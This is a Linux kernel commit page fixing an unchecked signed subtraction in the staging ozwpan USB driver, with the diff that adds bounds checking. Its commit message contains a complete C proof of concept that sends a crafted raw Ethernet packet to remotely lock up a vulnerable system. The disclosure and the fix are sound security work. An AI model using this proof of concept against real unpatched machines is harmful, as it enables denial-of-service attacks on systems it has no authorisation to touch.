summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2015-05-29 13:07:01 +0200
committerGreg Kroah-Hartman <gregkh@linuxfoundation.org>2015-06-22 16:55:54 -0700
commit1c9daa06f9eff275bf2320a734db2bda9e3b1107 (patch)
tree390a65e19dddedd8141c5059c3f37be862ebd2e8
parent8ca9ab667d0a0258c1df4f3d41de988c9648f6f5 (diff)
ozwpan: unchecked signed subtraction leads to DoS
commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream. The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
-rw-r--r--drivers/staging/ozwpan/ozusbsvc1.c7
1 files changed, 4 insertions, 3 deletions
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 6547e39d1d5a..d4f55b08ef78 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -314,10 +314,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
- if (!body->unit_size)
+ unsigned int n;
+ if (!body->unit_size ||
+ len < sizeof(struct oz_multiple_fixed) - 1)
break;
- n = (len - sizeof(struct oz_multiple_fixed)+1)
+ n = (len - (sizeof(struct oz_multiple_fixed) - 1))
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,